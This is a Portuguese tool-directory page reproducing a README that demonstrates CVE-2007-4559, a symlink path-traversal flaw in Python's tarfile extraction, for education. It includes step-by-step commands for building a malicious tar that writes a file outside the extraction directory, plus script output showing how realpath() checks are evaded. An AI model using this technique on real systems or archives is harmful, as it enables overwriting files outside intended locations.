Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2007-4559 | Kitploit
Ferramentas/GitHubGitHub/davidholiday/cve-2007-4559
Análise EstáticaAnálise de VulnerabilidadesAnálise de CódigoExploraçãoSegurança da Cadeia de SuprimentosAprendizado e Educação
GitHubdavidholiday/cve-2007-4559

CVE-2007-4559

Ver Repositório
1há 2 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

demonstração do CVE-2007-4559

o que é isto?

Isto é uma demonstração de como o tratamento padrão do python da extração de ficheiros tar antes do python v3.11.4 é vulnerável a um simples ataque de symlink. As instruções abaixo descrevem como criar um payload malicioso. O script untar.py demonstra como e porquê as funcionalidades adicionadas na 3.11.4 funcionam - especificamente a necessidade de invocar algo como os.path.realpath() antes de cada escrita, para todos os ficheiros. O script emprega exatamente o mesmo método de inspeção encontrado na funcionalidade extraction filter incluída no python >= 3.11.4, EXCETO que não escreve os ficheiros no disco. Como tal, mostra como os.path.realpath() é incapaz de resolver corretamente os symlinks e, assim, permitirá que os membros do tar sejam escritos fora da localização pretendida no sistema de ficheiros.

o que está aqui?

  • instruções (neste ficheiro) sobre como montar a sandbox e o ficheiro tar malicioso.

  • script python untar.py que demonstrará o 'porquê' da recente implementação da validação melhorada de tar na biblioteca tarfile do python. Devido à forma como os.path.realpath() funciona, não pode confiar nele para resolver symlinks, a menos que esses links já estejam no sistema de ficheiros. Isto significa que não pode confiar apenas em os.path.realpath() para inspecionar os caminhos dos membros do tar antes de extrair o arquivo. Em vez disso, deve chamar os.path.realpath() antes de cada escrita, para cada membro do arquivo, a fim de garantir a deteção de atividade maliciosa de links. Consulte PEP-706 e documentação do tarfile para mais informações.

criar o ambiente e o ficheiro tar malicioso

  1. criar o ambiente de teste
root@kitploit:~
snerd@jess:~$ mkdir -p lab/{lib,target}
  1. adicionar a pasta ./lib ao arquivo tar
root@kitploit:~
snerd@jess:~$ cd lab
snerd@jess:~/lab$ tar -cvPf terry.tar lib
  1. substituir o diretório ./lib por um symlink com o mesmo nome para "."
root@kitploit:~
snerd@jess:~/lab$ rm -rf lib
snerd@jess:~/lab$ ln -s . lib
  1. adicionar o symlink "lib" ao arquivo
root@kitploit:~
snerd@jess:~/lab$ tar -rvPf terry.tar lib
  1. substituir o symlink "lib" por um diretório e um ficheiro
root@kitploit:~
snerd@jess:~/lab$ rm lib
snerd@jess:~/lab$ mkdir -p lib/lib
snerd@jess:~/lab$ touch lib/dangerous_file
  1. adicionar o ficheiro ao arquivo usando um caminho relativo
root@kitploit:~
snerd@jess:~/lab$ tar -rPvf terry.tar lib/lib/../dangerous_file
  1. copiar o tar para o diretório de destino
root@kitploit:~
snerd@jess:~/lab$ cp terry.tar target/
snerd@jess:~/lab$ cd target/
  1. descompactar o tar. "dangerous_file" foi descompactado fora do diretório de destino
root@kitploit:~
snerd@jess:~/lab/target$ tar -xPvf terry.tar 
lib/
lib
lib/lib/../dangerous_file
snerd@jess:~/lab/target$ ls
lib  terry.tar
snerd@jess:~/lab/target$ ls ../
dangerous_file  lib  target  terry.tar

usar o script python

  1. transferir o untar.py deste repositório e colocá-lo no diretório ./lab

  2. executar o script. note como é fácil enganar os.path.realpath() quando o symlink malicioso ainda não foi escrito no sistema de ficheiros de destino.

root@kitploit:~
snerd@jess:~/lab$ python3 untar.py 
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib/lib/../dangerous_file
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib/dangerous_file
is_tarslip? False
-*-*-*-*-

leitura adicional

  • [Python-Dev] tarfile e vulnerabilidade de directory traversal

  • Alerta: falha de 15 anos na tarfile do Python espreita em 'mais de 350.000' projetos de código

  • Publicação no SO sobre como extrair com segurança arquivos tar antes das novas funcionalidades do python 3.11.4

  • issue 21109 do python

  • declaração de 2022 do antigo [reformado em 2019] mantenedor da biblioteca tarlib

  • implementação da nova funcionalidade de filtro de extração introduzida no python 3.11.4

Baixar ferramenta